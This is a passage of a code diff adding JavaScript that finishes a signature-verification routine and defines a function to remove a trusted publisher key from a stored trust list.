+
+  let ok;
+  try {
+    ok = cryptoVerify(null, bytes, pubKey, sigBuf);
+  } catch (err) {
+    return { valid: false, reason: `verify threw: ${err.message}` };
+  }
+
+  if (!ok) return { valid: false, reason: 'signature does not verify' };
+  return { valid: true, reason: 'ok' };
+}
+
+/**
+ * Remove a trusted publisher entry by keyId. Idempotent.
+ *
+ * @param {string} keyId
+ * @returns {Promise<{ ok: boolean, removed: boolean, store?: object, error?: string }>}
+ */
+export async function removeTrustedPublisher(keyId) {
+  if (typeof keyId !== 'string' || !PUBLISHER_KEY_ID_PATTERN.test(keyId)) {
+    return { ok: false, removed: false, error: 'invalid keyId' };
+  }
+  const store = await readTrustedPublishers();
+  const had = Object.prototype.hasOwnProperty.call(store.publishers, keyId);
+  if (had) {
+    delete store.publishers[keyId];
+    await writeTrustedPublishers(store);
+  }
+  return { ok: true, removed: had, store };
+}